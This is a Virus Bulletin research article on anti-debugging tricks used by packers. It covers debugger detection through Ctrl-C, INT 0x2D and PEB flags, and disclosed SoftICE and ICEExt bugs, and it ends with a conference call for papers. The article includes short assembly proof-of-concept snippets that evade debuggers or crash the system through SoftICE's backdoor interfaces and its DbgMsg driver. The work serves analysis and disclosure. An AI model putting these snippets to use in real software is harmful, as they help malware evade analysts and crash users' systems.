TECHNICAL FEATURE

ANTI-UNPACKER TRICKS – PART THREE

Peter Ferrie
Microsoft, USA

New anti-unpacking tricks continue to be developed because the older ones are constantly being defeated. This series of articles (see also [1, 2]) describes some tricks that might become common in the future, along with some countermeasures.

Continuing from part two of the series [2], this article will concentrate on anti-debugging tricks. All of these techniques were discovered and developed by the author of this paper.

1. Miscellaneous tricks

1.1 Ctrl-C

When a user presses the Ctrl-C key combination while a console window has the focus, *Windows* calls the kernel32 IsDebuggerPresent() function and issues the DBG_CONTROL_C (0x40010005) exception if the function returns true. This exception can be intercepted by an exception handler or an event handler, but as noted previously [2], the exception might be consumed by a debugger instead. As a result, the absence of the exception can be used to infer the presence of a debugger. The application can register an exception handler in the usual way – SEH, VEH, SafeSEH – or register an event handler by calling the kernel32 SetConsoleCtrlHandler() function. The exception can then be forced to occur by calling the kernel32 GenerateConsoleCtrlEvent() function.

1.2 Ctrl-break

Similarly, when a user presses the Ctrl-break key combination while a console window has the focus, *Windows* calls the kernel32 IsDebuggerPresent() function and issues the DBG_CONTROL_BREAK (0x40010008) exception if the function returns true. Once again, this exception can be intercepted by an exception handler, but as noted in [2], the exception might be consumed by a debugger instead. As a result, the absence of the exception can be used to infer the presence of a debugger. The application can register an exception handler in the usual way or register an event handler by calling the kernel32 SetConsoleCtrlHandler() function. The exception can then be forced to occur by calling the kernel32 GenerateConsoleCtrlEvent() function.

1.3 Interrupt 0x2D

Whenever a software interrupt exception occurs, the exception address and the EIP register value point to the next instruction that will execute – which is after the instruction that caused the exception. A breakpoint exception is treated as a special case. When an EXCEPTION_BREAKPOINT (0x80000003) exception occurs, *Windows* assumes that it has been caused by the 'CC' opcode ('INT 3' instruction) and decreases the exception address by one before passing the exception to the exception handler. The EIP register value is not affected. Thus, if the 'CD 03' opcode (long form 'INT 03' instruction) is used, the exception address will point to '03' when the exception handler receives control.

However, when interrupt 0x2D is executed, *Windows* uses the current EIP register value as the exception address and increases the EIP register value by one. Finally, it issues an EXCEPTION_BREAKPOINT (0x80000003) exception. Thus, if the 'CD 2D' opcode ('INT 0x2D' instruction) is used, the exception address points to the instruction immediately following the interrupt 0x2D instruction, as for other interrupts, and the EIP register value points to a memory location that is one byte after that.

After an exception has occurred, and in the absence of a debugger, execution will resume by default at the exception address. The assumption is that the cause of the exception will have been corrected, and the faulting instruction will now succeed. In the presence of a debugger, and if the debugger consumed the exception, execution will resume at the current EIP register value.

The interrupt 0x2D behaviour can be troublesome for debuggers. The problem is that the EIP register value points to a position one byte after the location at which execution is 'expected' to resume. This can result in a single-byte instruction being skipped, or the execution of a completely different instruction because the first byte is missing. These behaviours can be used to infer the presence of the debugger.

Example code looks like this:

```
    xor  eax, eax ;set Z flag
    push offset l1
    push d fs:[eax]
    mov  fs:[eax], esp
    int  2dh
    inc  eax ;debugger might skip
    je   being_debugged
    ...
l1: xor al, al
    ret
```

This behaviour has been documented [3], but apparently is not fully understood. *Turbo Debug32* is one debugger that is not affected, because it always decreases the EIP register value when an EXCEPTION_BREAKPOINT (0x80000003) exception occurs. In contrast, *OllyDbg*

adjusts the EIP register value according to the instruction that appears at the exception address. If a 'CC' opcode ('INT 3' instruction) is seen, then *OllyDbg* will reduce the EIP register value by one; if the 'CD 03' opcode (long form 'INT 03' instruction) is seen, then *OllyDbg* will reduce the EIP register value by two, in order to be able to step correctly over the instruction (this can be used to detect the presence of *OllyDbg*, based on the instruction that is executed next). If neither opcode is seen, then the EIP register value is not altered. The result for *OllyDbg* is that one byte is skipped.

1.4 Interrupt 0x41

Interrupt 0x41 can display different behaviour depending on whether or not a kernel-mode debugger is present. This interrupt descriptor normally has a descriptor privilege level (DPL) of zero, which means that it cannot be issued from ring 3. Attempts to execute this interrupt directly result in a general protection fault (interrupt 0x0D) being issued by the CPU, eventually resulting in an EXCEPTION_ACCESS_VIOLATION (0xC0000005) exception. However, some debuggers hook interrupt 0x41 and adjust the DPL to three, so that they can be called from user-mode code.

1.5 Missing exceptions

Heap and resource functions, among others, can be forced to cause a debug break. What they have in common is a check of the PEB->BeingDebugged flag. The presence of the debugger can be faked in order to force the interrupt 3 exception to occur. The absence of the exception is a sign that a real debugger intercepted it.

Example code looks like this:

```
    xor  eax, eax
    push offset l1
    push d fs:[eax]
    mov  fs:[eax], esp
    mov  eax, fs:[30h]
    inc  b [eax+2]
    push offset l2
    call HeapDestroy
    jmp  being_debugged
l1: ...
;HEAP_VALIDATE_PARAMETERS_ENABLED
l2: dd 0, 0, 0, 40000000h
```

2. SoftICE-specific

For many years, *SoftICE* was the most popular debugger available for the *Windows* platform (development of the program was discontinued in 2006). *SoftICE* is a debugger that makes use of a kernel-mode driver in order to support the debugging of both user-mode and kernel-mode code, including transitions in either direction between the two. It has a number of vulnerabilities.

2.1 Interrupt 3

SoftICE contains a 'backdoor' interface on interrupt 3. It is accessed by setting the value of the SI register to 'FG', and the DI register to 'JM'. These values happen to be the initials of the authors of the original *SoftICE for DOS*: Frank Grossman and Jim Moskun. The AH register contains the function index. The allowed values are 00, 09, 0x80-0x83 and 0xA0. Other registers have meaning, depending on the function that is called. This interface has existed since the DOS version, so it is well known, but it remains poorly documented. The lack of documentation might be the reason why the interface has not been investigated closely. However, if it had been, then several vulnerabilities might have been discovered and corrected. These vulnerabilities allow for multiple denial-of-service attacks. Two major functions indexes are vulnerable. They are 09 and 0x83.

The function index 09 uses the AL register to select a subfunction. The allowed values are 00, 02-05, 07-0x0E, 0x18 and 0x19. Of these, all of the subfunctions are vulnerable apart from 00, 0x18 and 0x19. In the case of subfunctions 02 and 03, the EBX register is the trigger. For the others, the EDX register is the trigger, with the ECX contributing a length which must not exceed a certain value.

Example code looks like this:

```
mov ax, 907h
xor ecx, ecx
xor edx, edx
mov si, "FG"
mov di, "JM"
int 3
```

For the function index 0x83, the BX register is the trigger. This register is used as a pointer to memory but, unless allocated explicitly by calling NtAllocateVirtualMemory() directly, it will always point to inaccessible memory.

Example code looks like this:

```
mov ah, 83h
xor ebx, ebx
mov si, "FG"
mov di, "JM"
int 3
```

2.2 Interrupt 0x41

As noted above, some debuggers hook interrupt 0x41 and adjust the DPL value to three, so that they can be called from user-mode code. *SoftICE* is one of those debuggers. However, the changes are not visible from within *SoftICE* – the IDT command shows the original interrupt 0x41 handler address with a DPL of zero.

The interrupt 0x41 interface includes a debugger installation check. This is demonstrated by calling interrupt 0x41 with AX=0x004F. It returns AX=0xF386 if the debugger is present. This interface might look familiar – a similar one existed for DOS on interrupt 0x68, where passing AX=0x4300 returned AX=0xF386 if a debugger was present. Some anti-unpacking routines still use the interrupt 0x68 interface, even though it is not supported on *Windows NT*-based platforms.

SoftICE exposes a large interface on interrupt 0x41. The interface supports functions to emit debug and error messages, create and destroy segments, and load and unload DLLs. Unfortunately, careless coding allows multiple opportunities for denial-of-service attacks. One example is OutputDebugString. There are 16- and 32-bit versions of this function. Both of them are vulnerable. These functions accept a pointer in the [E]SI register to the string to print. *SoftICE* probes the memory to ensure that the string can be read, but the probe covers only the first character. After that, the memory is accessed blindly, and if the string crosses into an unmapped region, then *SoftICE* will cause a kernel-mode crash (blue screen).

Example code for OutputDebugString looks like this:

```
push 1
mov  ecx, esp
push 4 ;PAGE_READWRITE
;MEM_COMMIT + MEM_RESERVE
push 3000h
push ecx
push 0
push ecx
push -1 ;GetCurrentProcess()
call NtAllocateVirtualMemory
;OutputDebugString
mov  al, 12h
mov  esi, 0fffh
mov  [esi], al ;non-zero
int  41h
```

Example code for OutputDebugString32 looks like this:

```
xor  esi, esi
push 4 ;PAGE_READWRITE
push 1000h ;MEM_COMMIT
push 1
push esi
call VirtualAlloc
add  ax, 0fffh
xchg esi, eax
;OutputDebugString32
mov  al, 2
mov  [esi], al ;non-zero
int  41h
```

Another example in OutputDebugString32 is 'BCHKW' in a read-only page. When *SoftICE* sees 'BCHKW' anywhere within the string, it attempts to overwrite the first byte of the string with a zero, without checking if the page is writable.

Example code looks like this:

```
;OutputDebugString32
push 2
pop  eax
mov  esi, offset l1
int  41h
...
l1: db "BCHKW"
```

2.3 DeviceIoControl

If *SoftICE* is installed, then the DbgMsg.sys driver is loaded, even if *SoftICE* isn't running. DbgMsg.sys exposes an interface that can be called via the kernel32 DeviceIoControl() function. That code contains several vulnerabilities. For example:

```
   mov  edx, [ebp+arg_0]
   mov  eax, [edx+60h]
   mov  ecx, [eax+0Ch]
   sub  ecx, 222007h
   jz   l1
   ...
l1: mov ecx, [edx+3Ch]
   ...
   push ecx
   call l2
   ...
l2: ...
   mov  ebx, [ebp+arg_0]
   and  byte ptr [ebx], 0 ;bug here
```

The write to [ebx] without checking first if the pointer is valid leads to a kernel-mode crash (blue screen) if the output buffer parameter is invalid or read-only.

Example code looks like this:

```
xor   ebx, ebx
push  ebx
push  ebx
push  3 ;OPEN_EXISTING
push  ebx
push  ebx
push  ebx
push  offset l1
call  CreateFileA
push  ebx
push  ebx
push  ebx
push  ebx
push  1 ;non-zero
push  ebx
push  ebx
push  222007h
push  eax
call  DeviceIoControl
...
l1: db "\\.\NDBGMSG.VXD", 0
```

There is another vulnerability in the following code:

```
   mov  edx, [ebp+arg_0]
   mov  eax, [edx+60h]
   mov  ecx, [eax+0Ch]
   sub  ecx, 222007h
   ...
   push 4
   pop  esi
   sub  ecx, esi
   ...
   sub  ecx, esi
   jz   l1
    ...
l1: mov esi, [edx+3Ch]
   ...
   mov  [esi], eax ;bug here
```

The write to [esi] without checking first if the pointer is valid leads to a kernel-mode crash (blue screen) if the output buffer parameter is invalid or read-only.

Example code looks like this:

```
xor ebx, ebx
push ebx
push ebx
push 3 ;OPEN_EXISTING
push ebx
push ebx
push ebx
push offset l1
call CreateFileA
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 22200fh
push eax
call DeviceIoControl
...
l1: db "\\.\NDBGMSG.VXD", 0
```

There is yet another vulnerability in the following code:

```
   mov  edx, [ebp+arg_0]
   mov  eax, [edx+60h]
   mov  ecx, [eax+0Ch]
   sub  ecx, 222007h
   ...
   push 4
   pop  esi
   sub  ecx, esi
   ...
   sub  ecx, esi
   ...
   sub  ecx, esi
   ...
   sub  ecx, esi
   jz   l1
   ...
l1: mov esi, [eax+10h]
   ...
   cmp  [esi], ebx ;bug here
```

This time the read from [esi] without checking first if the pointer is valid leads to a kernel-mode crash (blue screen) if the input buffer parameter is invalid.

Example code looks like this:

```
xor  ebx, ebx
push ebx
push ebx
push 3 ;OPEN_EXISTING
push ebx
push ebx
push ebx
push offset l1
call CreateFileA
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 1 ;non-zero
push 222017h
push eax
call DeviceIoControl
...
l1: db "\\.\NDBGMSG.VXD", 0
```

SoftICE also supports the writing of certain values to arbitrary memory locations. The arbitrary writing is possible because *SoftICE* does not perform sufficient address validation. While the values that can be written might seem to be of little interest – primarily the value zero – they can form part of a multi-stage attack. For example, by writing a zero to a particular location, a conditional branch can be turned into a do-nothing instruction. When applied to system-sensitive code, such as the granting of privileges, the result of such a modification allows even the least privileged account to bypass all system protection.

2.4 Fake section table

SoftICE contains an incorrect method for calculating the location of the section table. The problem is that *SoftICE* relies on the value in the PE->NumberOfRvaAndSizes field to determine the size of the optional header instead of using the value in the PE->COFF->SizeOfOptionalHeader field. As a result, it is possible to create a file with two section tables, one that *SoftICE* sees, and one that *Windows* sees. Fortunately, that does not seem to provide any scope for malicious use.

2.5 Section table placement

However, *SoftICE* also contains an off-by-one vulnerability when checking whether the section table that it sees resides

wholly within the file. Specifically, *SoftICE* wants to access the last byte of that section table in order to force in the page. However, because of an incorrect bounds check, *SoftICE* can be coerced into accessing one byte beyond the end of the section table.

Of course, a file can be created with no purely virtual sections, and the PE header and section table can be moved to the end of the file, but there is no need to go to such trouble. Due to the bug described above, it is possible to alter only the PE->NumberOfRvaAndSizes value to make the section table appear anywhere in the file, including at the very end. If the section table ends exactly at the end of the image, then when *SoftICE* accesses the one byte beyond the end of that table, a page fault will occur at a critical point and completely destabilize the system. This bug was introduced during an attempt to fix an earlier bug [4], whereby no checking at all was done prior to accessing memory.

2.6 Device names

It is interesting that we continue to see CreateFile('\\.\NTICE'), given that *SoftICE* v4.x does not create a device with such a name in *Windows NT*-based platforms.

Instead, the device name is '\\.\NTICExxxx'), where 'xxxx' is four hexadecimal characters. The characters are the 9th, 7th, 5th and 3rd characters from the data in the 'Serial' registry value. This value appears in multiple places in the registry. The *SoftICE* driver uses the 'HKLM\System\CurrentContrlSet\Services\NTice\Serial' registry value. The nmtrans DevIO_ConnectToSoftICE() function uses the 'HKLM\Software\NuMega\SoftIce\Serial' registry value. The algorithm that *SoftICE* uses to obtain the characters reverses the string, then, beginning with the third character, takes every second character for four characters. There is a simpler method to achieve this, of course.

Example code looks like this:

```
  xor   ebx, ebx
  push  eax
  push  esp
  push  1 ;KEY_QUERY_VALUE
  push  ebx
  push  offset l2
  push  80000002h ;HKLM
  call  RegOpenKeyExA
  pop   ecx
  push  0dh ;sizeof(l3)
  push  esp
  mov   esi, offset l3
  push  esi
  push  eax ;REG_NONE
  push  eax
  push  offset l4
  push  ecx
  call  RegQueryValueExA
  push  4
  pop   ecx
  mov   edi, offset l6
l1: mov al, [ecx*2+esi+1]
  stosb
  loop  l1
  push  ebx
  push  ebx
  push  3 ;OPEN_EXISTING
  push  ebx
  push  ebx
  push  ebx
  push  offset l5
  call  CreateFileA
  inc   eax
  jne   being_debugged
  ...
l2: db  "Software\NuMega\SoftIce", 0
l3: db  0dh dup (?)
l4: db  "Serial", 0
l5: db  "\\.\ntice"
l6: db  "xxxx", 0
```

3. SoftICE extensions

SoftICE supports plug-ins to some degree. Many packers have been written to detect *SoftICE*, so one plug-in (so far) has been written to attempt to hide *SoftICE* from those packers.

3.1 ICEExt

ICEExt fixes a bug in earlier versions of the ntice _chkstk() function. The function previously used the wrong register to set the new stack pointer, resulting in a kernel-mode crash (blue screen) if the function was ever called.

ICEExt hooks the ntoskrnl ZwCreateFile() function directly in the Service Descriptor Table. The hook examines the specified filename, and then denies access to the 'NTICE', 'SIWVIDSTART' and 'SIWSYM' device names. The comparison is case-insensitive and uses a maximum length, so it will also protect the newer 'NTICExxxx' device name correctly. However, there is a bug in the code, which does not check whether the ObjectAttributes->ObjectName parameter points to a valid memory address. An invalid memory address causes a kernel-mode crash.

ICEExt hooks the ntoskrnl ZwQuerySystemInformation() function directly in the Service Descriptor Table. The hook calls the original ntdll ZwQuerySystemInformation() function, and then checks whether the SystemInformationClass is the SystemModuleInformation class. If it is, then *ICEExt* searches the returned module list and replaces the first reference to 'NTICE.SYS' with 'TROF2.SYS'.

ICEExt hooks the ntoskrnl ZwQueryDirectoryObject() function directly in the Service Descriptor Table. This function was introduced in *Windows 2000*. *ICEExt* calls the original function, and then replaces with 'SSINF' any driver type whose name is 'NTICE'. However, there is a bug in this code, which does not check whether the Buffer parameter points to a valid memory address. An invalid memory address causes a kernel-mode crash.

ICEExt hooks interrupt 3 directly in the Interrupt Descriptor Table. The hook denies access to the *SoftICE* 'backdoor' interface.

ICEExt restores to zero the DPL of the interrupt 1 and interrupt 0x41 descriptors.

The author of *ICEExt* has yet to respond to the report.

3.2 SoftICE Cover

SoftICE Cover is a tweaked version of *SoftICE*. It runs only on *Windows XP*, and installs the final version of *SoftICE*. It allows the user to select which characteristics to hide. There are several options. The video and core drivers can be renamed, the interrupt 3 hook can be disabled, and the 'FGJM' and 'BCHK' interfaces can be 'disabled' (they are replaced by random alphabetic characters). However, this does not protect *SoftICE* against the other attacks, such as the malformed file denial of service.

In part four of this series next month we will look at anti-debugging tricks that target the *Syser* debugger – a lesser-known debugger that might be considered to be a successor to *SoftICE*, since it can run on *Windows Vista*.

The text of this paper was produced without reference to any Microsoft source code or personnel.

REFERENCES

[1] Ferrie, P. Anti-unpacker tricks – part one. Virus Bulletin, December 2008, p.4. http://www.virusbtn.com/pdf/magazine/2008/200812.pdf.

[2] Ferrie, P. Anti-unpacker tricks – part two. Virus Bulletin, January 2009, p.4. http://www.virusbtn.com/pdf/magazine/2009/200901.pdf.

[3] http://www.openrce.org/reference_library/anti_reversing_view/34/INT%202D%20Debugger%20Detection/.

[4] http://www.honeynet.org/scans/scan33/nico/index.html#1.

CALL FOR PAPERS

CALLING ALL SPEAKERS: VB2009 GENEVA

Virus Bulletin is seeking submissions from those wishing to present papers at VB2009, which will take place 23–25 September 2009 at the Crowne Plaza, Geneva, Switzerland.

The conference will include a programme of 40-minute presentations running in two concurrent streams: Technical and Corporate.

Submissions are invited on all subjects relevant to anti-malware and anti-spam. In particular, *VB* welcomes the submission of papers that will provide delegates with ideas, advice and/or practical techniques, and encourages presentations that include practical demonstrations of techniques or new technologies.

A list of topics suggested by the attendees of VB2008 can be found at http://www.virusbtn.com/conference/vb2009/call/. However, please note that this list is not exhaustive, and the selection committee will consider papers on these and any other anti-malware and anti-spam related subjects.

SUBMITTING A PROPOSAL

The deadline for submission of proposals is **Friday 6 March 2009**. Abstracts should be submitted via our online abstract submission system. You will need to include:

- An abstract of approximately 200 words outlining the proposed paper.
- Full contact details with each submission.
- An indication of whether the paper is intended for the technical or corporate stream.

The abstract submission form can be found at http://www.virusbtn.com/conference/abstracts/.

Following the close of the call for papers all submissions will be anonymized before being reviewed by a selection committee; authors will be notified of the status of their paper by email.

Authors are advised that, should their paper be selected for the conference programme, the deadline for submission of the completed papers will be Monday 8 June 2009, and that they must be available to present their papers in Geneva between 23 and 25 September 2009.

Any queries relating to the call for papers should be addressed to editor@virusbtn.com.